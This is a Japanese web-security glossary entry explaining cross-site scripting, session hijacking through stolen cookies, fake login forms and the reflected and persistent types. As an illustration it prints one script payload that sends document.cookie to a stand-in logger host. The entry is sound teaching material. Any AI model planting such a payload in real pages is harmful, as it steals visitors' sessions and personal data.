鳩丸ぐろっさり (用語集)

bakera.jp > 鳩丸ぐろっさり (用語集) > クロスサイトスクリプティング脆弱性

用語「クロスサイトスクリプティング脆弱性」について

クロスサイトスクリプティング脆弱性 (くろすさいとすくりぷてぃんぐぜいじゃくせい)

話題 : Web / セキュリティ

"Cross-Site Scripting" とは、「サイトを跨ってスクリプトを実行する」という程度の意味で、もう少しかみ砕くと「他人様のサイトで勝手にスクリプトを実行する」というような意味です。Web アプリケーションで、入力されたデータの内容をチェックせずに HTML 内に出力していると、HTML 内にスクリプトなどの任意のコードを埋め込むことができてしまいます。このような状態を「クロスサイトスクリプティング脆弱性がある」と言います。

わかりやすい例としては、任意のタグがそのまま書き込めてしまう掲示板が挙げられます。悪意あるユーザが <script> などのタグを含む内容を投稿すると、投稿内容を閲覧したときにスクリプトが実行されてしまいます。

スクリプトが実行されても大した害はないと思うかも知れませんが、これがたとえば会員制の EC サイトで発生すると大変です。任意のスクリプトが実行できると、Cookie の値を密かに別の場所に送信する事ができてしまうからです。たとえば、攻撃者が何らかの方法で以下のようなスクリプトを EC サイトに書き込んだとします。

<script type="text/javascript">
var foo = new Image();
foo.src = "http://example.com/logger.cgi?" + document.cookie;
</script>

何も知らない人がこのページにアクセスすると、全く知らないうちに Cookie の値が攻撃者のサーバに送られることになります。

攻撃者はこの Cookie の値を自分のブラウザにセットし、件の EC サイトにアクセスします。攻撃者のブラウザは被害者の Cookie と全く同じ Cookie を送出していますから、サーバはそれが被害者によるアクセスだとみなします。以降、攻撃者は被害者に成りすまして個人情報を見たり、好きなように買い物したり出来ることになります。これが「セッションハイジャック」と呼ばれるものです。

Cookie の漏洩によるセッションハイジャックはクロスサイトスクリプティング脆弱性を利用した攻撃の典型例ですが、他にもいろいろな攻撃があります。

たとえば、銀行のサイトに偽の入力フォームを書き出し、「口座番号と暗証番号を入力してログインしてください」というキャプションを添えたとしたらどうでしょう。注意深くないユーザは、素直に暗証番号を入れてしまうかも知れません。もう少し注意深いユーザは、ブラウザのステータスバーを見て鍵マークが表示されているのを確認してから、おもむろに暗証番号を入れてしまうかも知れません。いずれの場合も、値はそのまま攻撃者に送られます。

※クロスサイトスクリプティング脆弱性によって書き出されたフォームは、真にそのサーバから送られてきている内容です。従って、元のページが SSL で保護されているなら、クロスサイトスクリプティング脆弱性によって捏造されたものもやはり SSL で保護されています。サーバ証明書も真性のものです。

このケースでは、攻撃者はスクリプトを全く使用していません。そのため "Scripting" には該当しないという見方もあるでしょうが、普通はこういったものも全て含めて「クロスサイトスクリプティング」と称します。「クロスサイトスクリプティング」という呼称は、あくまで主な攻撃方法がスクリプトである、というところから来ているのであって、スクリプトだけが問題なわけではありません。CERT ではそれをふまえて "Scripting" という呼称を避けたのか、この問題は "Malicious HTML Tags Embedded in Client Web Requests" という題名でレポートされています。

また、ユーザの送信内容に含まれたコードをそのまま表示する場合を反射型、サイトに永続的に埋め込まれる場合を持続型として分類する場合もあります。

「クロスサイトスクリプティング脆弱性」に関連する用語

「クロスサイトスクリプティング脆弱性」に関連する Web サイト

最近の日記

関わった本など